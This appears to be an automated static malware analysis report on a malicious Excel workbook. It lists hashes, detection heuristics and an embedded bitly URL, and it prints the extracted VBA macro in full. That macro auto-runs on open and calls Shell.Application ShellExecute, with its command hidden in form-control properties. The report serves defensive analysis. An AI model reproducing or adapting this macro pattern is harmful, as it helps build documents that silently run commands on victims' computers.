Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d4f6be908446a2fa…

MALICIOUS

Office (OOXML)

19.7 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-23
MD5: bc4567e4b21f4826cb30be5d8c528ae1 SHA-1: 1b3f484aa596af51abf53cf39d1b6af009b49a65 SHA-256: d4f6be908446a2fa85f0a1b6565696a6a7ab19670e008692b1786b16afddcec0
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains a Workbook_Open VBA macro that utilizes VBA.CreateObject("Shell.Application") to execute arbitrary commands. This macro is designed to run automatically when the document is opened, indicating an attempt to execute a malicious payload. The specific command executed is obfuscated but involves the 'ShellExecute' method.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/jasdojasdokkaodksdaksd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1778 bytes
SHA-256: b31e55a767d14ac08081bfdc62c6ff02be37b326dd9f850c10f31bfa8f78a505
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub _
Workbook_Open _
()
Sheet1.coomon.ShellExecute# hehe.mm.ControlTipText, hehe.mm.Tag


End _
Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function _
coomon _
()
Set _
coomon _
= _
VBA _
. _
CreateObject("Shell.Application")
End Function




Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "hehe"
Attribute VB_Base = "0{FE27B084-B130-4D79-B9E0-5737B1492F48}{EAAF8053-842E-42FF-A349-7D0BF56F15A8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24576 bytes
SHA-256: 4fba389f4fba4ef4d8c2ebb95d26107eb0488d352e4c4177371f70f50a574201